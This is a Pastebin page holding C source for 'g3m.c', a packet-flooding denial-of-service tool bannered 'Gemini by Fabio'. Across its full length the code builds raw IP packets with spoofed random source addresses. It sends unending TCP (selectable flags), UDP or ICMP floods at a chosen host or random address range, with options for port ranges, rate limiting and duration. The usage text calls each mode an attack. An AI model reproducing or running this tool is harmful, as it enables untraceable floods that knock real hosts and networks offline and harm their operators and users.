daily pastebin goal
59%
SHARE
TWEET

g3m.c

wtfbbq Jun 4th, 2015 (edited) 3,948 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <netdb.h>
  5. #include <sys/types.h>
  6. #ifdef F_PASS
  7. #include <sys/stat.h>
  8. #endif
  9. #include <netinet/in_systm.h>                                                  
  10. #include <sys/socket.h>
  11. #include <string.h>
  12. #include <time.h>
  13. #include <signal.h>
  14. #ifndef __USE_BSD
  15. #   define __USE_BSD
  16. #endif
  17. #ifndef __FAVOR_BSD
  18. #   define __FAVOR_BSD
  19. #endif
  20. #include <netinet/in.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/tcp.h>
  23. #include <netinet/udp.h>
  24. #include <netinet/ip_icmp.h>
  25. #include <arpa/inet.h>
  26. #ifdef LINUX
  27. #   define FIX(x)  htons(x)
  28. #else
  29. #   define FIX(x)  (x)
  30. #endif
  31. #define PSIZE 65535
  32. #define TCP_ACK         1
  33. #define TCP_FIN         2
  34. #define TCP_SYN         4
  35. #define TCP_RST         8
  36. #define UDP_CFF         16
  37. #define ICMP_ECHO_G     32
  38. #define TCP_NOF         64
  39. #define TCP_URG         128
  40. #define TCP_PSH           258
  41. #define TCP_ECE        512
  42. #define TCP_CWR        1024
  43. #define TH_NOF          0x0
  44. #define TH_FIN          0x01
  45. #define TH_SYN          0x02
  46. #define TH_RST          0x04
  47. #define TH_PUSH         0x08
  48. #define TH_ACK          0x10
  49. #define TH_URG          0x20
  50. #define TH_ECE          0x40
  51. #define TH_CWR          0x80
  52. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  53.                          a_flags & TCP_FIN ||\
  54.                          a_flags & TCP_SYN ||\
  55.                          a_flags & TCP_RST ||\
  56.                          a_flags & TCP_NOF ||\
  57.                          a_flags & TCP_PSH ||\
  58.                          a_flags & TCP_ECE ||\
  59.                          a_flags & TCP_CWR ||\
  60.                          a_flags & TCP_URG )
  61. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  62. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  63. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  64.                           random ()   :\
  65.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  66. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  67.                           random ()   :\
  68.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  69. #define SEND_PACKET()   if (sendto(rawsock,\
  70.                         &packet,\
  71.                         (sizeof packet),\
  72.                          0,\
  73.                         (struct sockaddr *)&target,\
  74.                          sizeof target) < 0) {\
  75.                          perror("sendto");\
  76.                          exit(-1);\
  77.                         }
  78. /* linux cksum */
  79. #define BANNER_CKSUM 54018
  80. /* sunos cksum */
  81. //#define BANNER_CKSUM 723
  82. int psize = 0;
  83. u_long lookup(const char *host);
  84. unsigned short in_cksum(unsigned short *addr, int len);                        
  85. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  86. char *class2ip(const char *class);
  87. static void send_tcp(u_char th_flags);
  88. static void send_udp(u_char garbage);
  89. static void send_icmp(u_char garbage);
  90. char *get_plain(const char *crypt_file, const char *xor_data_key);
  91. static void usage(const char *argv0);
  92. u_long dstaddr;
  93. u_short dst_sp, dst_ep, src_sp, src_ep;
  94. char *src_class, *dst_class;
  95. int a_flags, rawsock;
  96. struct sockaddr_in target;
  97. struct pseudo_hdr {        
  98.     u_long saddr, daddr;    
  99.     u_char mbz, ptcl;      
  100.     u_short tcpl;          
  101. };
  102. struct cksum {
  103.     struct pseudo_hdr pseudo;
  104.     struct tcphdr tcp;
  105. };
  106. struct {
  107.     int gv;
  108.     int kv;
  109.     void (*f)(u_char);
  110. } a_list[] = {
  111.     { TCP_ACK, TH_ACK, send_tcp },
  112.     { TCP_FIN, TH_FIN, send_tcp },
  113.     { TCP_SYN, TH_SYN, send_tcp },
  114.     { TCP_RST, TH_RST, send_tcp },
  115.     { TCP_NOF, TH_NOF, send_tcp },
  116.     { TCP_URG, TH_URG, send_tcp },
  117.     { TCP_PSH, TH_PUSH, send_tcp },
  118.     { TCP_ECE, TH_ECE, send_tcp },
  119.     { TCP_CWR, TH_CWR, send_tcp },
  120.     { UDP_CFF, 0, send_udp },
  121.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  122.     { 0, 0, (void *)NULL },
  123. };
  124. int
  125. main(int argc, char *argv[])
  126. {
  127.     int n, i, on = 1;
  128.     int b_link;
  129. #ifdef F_PASS
  130.     struct stat sb;
  131. #endif
  132.     unsigned int until;
  133.     a_flags = dstaddr = i = 0;
  134.     dst_sp = dst_ep = src_sp = src_ep = 0;
  135.     until = b_link = -1;
  136.     src_class = dst_class = NULL;
  137.     while ( (n = getopt(argc, argv, "T:RUINs:h:d:p:q:l:x:t:")) != -1) {
  138.         char *p;
  139.         switch (n) {
  140.             case 'T':
  141.                 switch (atoi(optarg)) {
  142.                     case 0: a_flags |= TCP_ACK; break;
  143.                     case 1: a_flags |= TCP_PSH; break;
  144.                     case 2: a_flags |= TCP_RST; break;
  145.                     case 3: a_flags |= TCP_SYN; break;
  146.                     case 4: a_flags |= TCP_URG; break;
  147.                     case 5: a_flags |= TCP_FIN; break;
  148.                     case 6: a_flags |= TCP_ECE; break;
  149.                     case 7: a_flags |= TCP_CWR; break;
  150.                 }
  151.                 break;
  152.             case 'U':
  153.                 a_flags |= UDP_CFF;
  154.                 break;
  155.             case 'R':
  156.                 a_flags |= rand();
  157.                 break;
  158.             case 'I':
  159.                 a_flags |= ICMP_ECHO_G;
  160.                 break;
  161.             case 'N':
  162.                 a_flags |= TCP_NOF;
  163.                 break;
  164.             case 's':
  165.                 src_class = optarg;
  166.                 break;
  167.             case 'h':
  168.                 dstaddr = lookup(optarg);    
  169.                 break;
  170.             case 'd':
  171.                 dst_class = optarg;
  172.                 i = 1;
  173.                 break;
  174.             case 'x':
  175.                 psize = atoi(optarg);
  176.                 break;
  177.             case 'p':
  178.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  179.                 usage(argv[0]);
  180.                 dst_sp = atoi(optarg);
  181.                 dst_ep = atoi(p +1);  
  182.                 break;
  183.             case 'q':
  184.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  185.                 usage(argv[0]);
  186.                 src_sp = atoi(optarg);
  187.                 src_ep = atoi(p +1);
  188.                 break;
  189.             case 'l':
  190.                 b_link = atoi(optarg);
  191.                 if (b_link <= 0 || b_link > 100)
  192.                 usage(argv[0]);
  193.                 break;
  194.             case 't':
  195.                 until = time(0) +atoi(optarg);
  196.                 break;
  197.             default:
  198.                 usage(argv[0]);
  199.                 break;
  200.         }
  201.     }
  202.     if ( (!dstaddr && !i) ||
  203.          (dstaddr && i) ||
  204.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  205.          (src_sp != 0 && src_sp > src_ep) ||
  206.          (dst_sp != 0 && dst_sp > dst_ep))
  207.           usage(argv[0]);
  208.     srandom(time(NULL) ^ getpid());
  209.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  210.         perror("socket");
  211.         exit(-1);
  212.     }
  213.     if (!psize)
  214.         psize = PSIZE;
  215.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  216.         (char *)&on, sizeof(on)) < 0) {
  217.             perror("setsockopt");
  218.             exit(-1);
  219.     }
  220.     target.sin_family           = AF_INET;
  221.     for (n = 0; ; ) {
  222.         if (b_link != -1 && random() % 100 +1 > b_link) {
  223.             if (random() % 200 +1 > 199)
  224.             usleep(1);
  225.             continue;
  226.         }
  227.         for (i = 0; a_list[i].f != NULL; ++i) {
  228.             if (a_list[i].gv & a_flags)
  229.             a_list[i].f(a_list[i].kv);
  230.         }        
  231.         if (n++ == 100) {
  232.             if (until != -1 && time(0) >= until) break;
  233.             n = 0;
  234.         }
  235.     }          
  236.     exit(0);
  237. }
  238. u_long
  239. lookup(const char *host)
  240. {
  241.     struct hostent *hp;
  242.     if ( (hp = gethostbyname(host)) == NULL) {
  243.         perror("gethostbyname");
  244.         exit(-1);
  245.     }
  246.     return *(u_long *)hp->h_addr;
  247. }
  248. #define RANDOM() (int) random() % 255 +1
  249. char *
  250. class2ip(const char *class)
  251. {
  252.     static char ip[16];
  253.     int i, j;
  254.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  255.         if (class[i] == '.')
  256.             ++j;
  257.     switch (j) {
  258.         case 0:
  259.     sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 245+1, (int) random() % 225+1, (int) random() % 215+1);
  260.     break;
  261.     case 1:
  262.     sprintf(ip, "%s.%d.%d", class, (int) random() % 245+1, (int) random() % 215+1);
  263.     break;
  264.     case 2:
  265.     sprintf(ip, "%s.%d", class, (int) random() % 245+1);
  266.     break;
  267.         default: strncpy(ip, class, 16);
  268.                  break;
  269.     }
  270.     return ip;
  271. }
  272. unsigned short
  273. in_cksum(unsigned short *addr, int len)
  274. {
  275.     int nleft = len;
  276.     int sum = 0;
  277.     unsigned short *w = addr;
  278.     unsigned short answer = 0;
  279.     while (nleft > 1) {
  280.         sum += *w++;
  281.         nleft -= 2;
  282.     }
  283.     if (nleft == 1) {
  284.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  285.         sum += answer;
  286.     }
  287.     sum    = (sum >> 16) + (sum & 0xffff);  
  288.     sum   += (sum >> 16);                  
  289.     answer = ~sum;                        
  290.     return answer;
  291. }
  292. static void
  293. inject_iphdr(struct ip *ip, u_char p, u_char len)
  294. {
  295.     ip->ip_hl             = 5;
  296.     ip->ip_v              = 4;
  297.     ip->ip_p              = p;
  298.     ip->ip_tos            = 0x08;
  299.     ip->ip_id             = random();
  300.     ip->ip_len            = len;
  301.     ip->ip_off            = 0;
  302.     ip->ip_ttl            = 255;
  303.     ip->ip_dst.s_addr     = dst_class != NULL ?
  304.                             inet_addr(class2ip(dst_class)) :
  305.                             dstaddr;
  306.     ip->ip_src.s_addr     = src_class != NULL ?
  307.                             inet_addr(class2ip(src_class)) :
  308.                             random();
  309.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  310. }    
  311. static void
  312. send_tcp(u_char th_flags)
  313. {
  314.     struct cksum cksum;
  315.     struct packet {
  316.     struct ip ip;
  317.     struct tcphdr tcp;
  318.     } packet;
  319.     memset(&packet, 0, sizeof packet);
  320.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  321.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip,0);
  322.     cksum.pseudo.daddr      = dstaddr;
  323.     cksum.pseudo.mbz        = 0;
  324.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  325.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  326.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  327.     packet.tcp.th_win       = 65535;
  328.     packet.tcp.th_seq       = random();
  329.     packet.tcp.th_ack       = 0;
  330.     packet.tcp.th_flags     = th_flags;
  331.     packet.tcp.th_off       = 5;
  332.     packet.tcp.th_urp       = 1;
  333.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  334.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  335.     cksum.tcp               = packet.tcp;
  336.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  337.     SEND_PACKET();
  338. }
  339. static void
  340. send_udp(u_char garbage)
  341. {                      
  342.     struct packet {
  343.     struct ip ip;
  344.     struct udphdr udp;
  345.     } packet;
  346.     memset(&packet, 0, sizeof packet);
  347.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  348.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip,0);
  349.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  350.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  351.     packet.udp.uh_ulen          = htons(sizeof(struct udphdr) + psize);
  352.     packet.udp.uh_sum           = 0;
  353.     SEND_PACKET();
  354. }
  355. static void
  356. send_icmp(u_char gargabe)
  357. {
  358.     struct packet {
  359.     struct ip ip;
  360.     struct icmp icmp;
  361.     } packet;
  362.     memset(&packet, 0, sizeof packet);
  363.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  364.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  365.     packet.icmp.icmp_type       = ICMP_ECHO;
  366.     packet.icmp.icmp_code       = 0;
  367.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  368.     SEND_PACKET();
  369. }
  370. const char *banner = "\e[1;37m(\e[0m\e[0;31mGemini\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mFabio\e[0m\e[1;37m)\e[0m";
  371. static void
  372. usage(const char *argv0)
  373. {
  374.     printf("%s \n", banner);
  375.         printf("    -U UDP   attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  376.         printf("    -I ICMP  attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  377.         printf("    -N Bogus attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  378.         printf("    -T TCP   attack                      \e[1;37m[\e[0m0:ACK   1:PSH\e[1;37m]\e[0m\n");
  379.         printf("                                         \e[1;37m[\e[0m2:RST   3:SYN\e[1;37m]\e[0m\n");    
  380.         printf("                                         \e[1;37m[\e[0m4:URG   5:FIN\e[1;37m]\e[0m\n");
  381.         printf("                                         \e[1;37m[\e[0m6:ECE   7:CWR\e[1;37m]\e[0m\n");
  382.         printf("    -h target host/ip                       \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  383.         printf("    -d destination class                        \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  384.         printf("    -s source class/ip                          \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  385.         printf("    -p destination port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  386.         printf("    -q source port range      [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  387.         printf("    -l pps limiter                            \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
  388.         printf("    -t timeout                              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  389.         printf("    -x udp length                              \e[1;37m(\e[0m\e[0;31m1-65535\e[0m\e[1;37m)\e[0m\n");
  390.     printf("\e[1musage\e[0m: %s -T0 -U -h 12.12.12.12 -x5\n", argv0);
  391.     exit(-1);
  392. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top